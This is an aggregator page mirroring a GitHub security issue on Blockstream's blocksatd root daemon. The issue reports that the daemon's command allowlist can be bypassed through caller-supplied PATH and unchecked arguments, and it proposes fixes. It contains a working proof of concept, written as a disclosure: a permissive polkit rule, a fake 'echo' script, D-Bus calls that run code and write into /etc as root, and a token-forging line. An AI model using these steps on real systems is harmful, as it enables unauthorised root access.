blocksatd allowlist does not stop root command execution after polkit

Aperta
#118 0 commenti 0 reazioni 0 assegnatari Vedi su GitHub

Nessuno ha ancora preso questa issue.

Valutazione

Difficoltà
4/5
Tempo stimato
3-5 giorni
Idoneità per principianti
35/100
Tipo di issue
Bug
Chiarezza
Specificata chiaramente
Stato di attività
Attiva
Stack tecnologico
linux, python

Direzione di ricerca

Start with Runner.run and _validate_token in the daemon, then inspect the shipped D-Bus policy and polkit action; the issue gives no file paths for these daemon definitions. Trace how cmd, cwd, and env reach subprocess.Popen, and how status authorizes callers. Done means the reported command execution paths and unauthenticated status access are addressed while allowed operations continue to work; the reporter offers to retest.

Scritto dal modello di indicizzazione a partire dal testo della issue.

Descrizione

What happens

blocksatd.service runs as User=root. The D-Bus method run is meant to execute a short list of install and network commands. The check in Runner.run is:

cmd[0] not in allowed_cmds

allowed_cmds is a list of bare names (echo, tar, git, install, mv, sed, make, ...). The rest of cmd is not checked. cwd and env come from the caller. An empty env becomes None (the daemon environment). A non-empty env is passed straight to subprocess.Popen. A name with no slash is resolved through PATH.

After polkit says yes, I could do both of these:

  1. PATH=/tmp/fakebin and a program named echo. blocksatd executed it as uid 0.
  2. install with a destination under /etc. The file was created root:root.

/bin/sh as cmd[0] is rejected. The method returned -1 and the log said Command not allowed.

The D-Bus policy shipped in com.blockstream.satellite.conf lets the default user send to com.blockstream.satellite.runner. The token checked by _validate_token is sha256(f"{secret}-{pid}"), where secret is ~/.blocksat/.secret of the caller. That file is created by the user (generate_secret in blocksatgui/daemon/config.py). It does not prove a second party.

The shipped polkit action com.blockstream.satellite.runner is auth_admin_keep for an active session and auth_admin otherwise. This needs that authorization first. On a desktop, auth_admin_keep stays granted for a while, and another process of the same user can call run during that window without a new password prompt.

status on the same object takes a pid and returns the child output, with no token and no polkit. I am not filing that separately. It matters once run has started a child.

Setup

I installed the repo's D-Bus config and polkit action, started dbus-daemon --system, polkitd, and unmodified blocksatd. The container has no graphical login, so I added one rule so this action returns YES. That stands in for a user who has already passed auth_admin_keep. The daemon source was not patched. The production policy is not YES for everyone.

/etc/polkit-1/rules.d/10-blocksat-lab.rules:

polkit.addRule(function(action, subject) {
    if (action.id == "com.blockstream.satellite.runner") {
        return polkit.Result.YES;
    }
});

Daemon stdout:

Blocksatd: com.blockstream.satellite.runner running (main-loop: glib).

/tmp/fakebin/echo, mode 0755:

#!/bin/sh
/usr/bin/id -u > /tmp/blocksatd-path-hijack
echo "$0" >> /tmp/blocksatd-path-hijack

/tmp/blocksatd-payload contained CRON_PAYLOAD and a newline. I did not point install at a cron directory.

The caller wrote lab-secret to /root/.blocksat/.secret (the script ran as root, so that is the uid blocksatd looks up) and computed the token the same way _validate_token does:

token = hashlib.sha256(f"{secret}-{os.getpid()}".encode()).hexdigest()

Bus name com.blockstream.satellite.runner, path /com/blockstream/satellite/runner, interface com.blockstream.satellite.runner, method run, signature sassa{ss}ii, reply signature i.

PoC

Call 1. PATH hijack.

Request:

run(
  token,                                      # s
  ["echo", "not-the-real-echo"],              # as
  "",                                         # s  cwd
  {"PATH": "/tmp/fakebin"},                   # a{ss}
  0,                                          # i  stdout -> DEVNULL
  0                                           # i  stderr -> DEVNULL
)

Reply:

int32 3800

Daemon log:

Command: echo not-the-real-echo
Running PID 3800

/tmp/blocksatd-path-hijack, owner root:root:

0
/tmp/fakebin/echo

0 is /usr/bin/id -u inside the program blocksatd executed. The second line is $0 of that program.

Call 2. install from the real PATH. Env is an empty dict, so run passes env=None and the child gets the daemon environment.

Request:

run(
  token,
  ["install", "-m", "644", "/tmp/blocksatd-payload", "/etc/blocksatd-installed"],
  "",
  {},
  0,
  0
)

Reply:

int32 3802

/etc/blocksatd-installed, owner root:root:

CRON_PAYLOAD

Call 3. Name that is not on the list.

Request:

run(
  token,
  ["/bin/sh", "-c", "id"],
  "",
  {},
  0,
  0
)

Reply:

int32 -1

Daemon log:

Command not allowed: /bin/sh -c id

No new process.

Earlier, before the polkit action was installed, the same echo and install calls returned -2 and did not create either file. The log line for that path is PID <sender> not authorized.

Fix

Resolve each allowlisted name to a fixed absolute path inside the daemon (/usr/bin/install, /bin/echo, ...) and execute that path. Drop the caller env. If a command needs variables, build them in the daemon.

Constrain arguments per command. Keep install, mv, and rm destinations inside the directories those commands are supposed to touch. Reject tar --checkpoint-action, git -c and git aliases, sed e, and an arbitrary make work directory.

Stop treating ~/.blocksat/.secret as an authenticator. Use the same polkit check on status as on run. For the polkit subject, use the system-bus name. The current subject is a unix-process with start-time set to 0.

I can retest a patch.

Thank you.

Lingua principale
Python
Stelle
1k
Fork
160
Metriche di merge delle PR
Nessuna PR unita negli ultimi 30g

Preparare l'ambiente

Questo progetto non fornisce container di sviluppo, Dockerfile né guida per i contributori, quindi l'ambiente è a tuo carico: parti dal suo README e consulta la nostra guida al primo contributo per i passaggi generali.

Come iniziare

  1. Leggi tutta la issue e poi la guida ai contributi del progetto.
  2. Commenta sulla issue per dire che te ne occupi tu — evita che due persone facciano lo stesso lavoro.
  3. Fai un fork del repository e lavora su un branch.
  4. Apri una pull request che faccia riferimento al numero della issue.

Altre issue di Blockstream/satellite

Tutte le issue di Blockstream/satellite

Issue simili

Altre issue su Python

Ricevi le nuove issue nella tua casella

Un breve riepilogo di issue GitHub adatte ai principianti.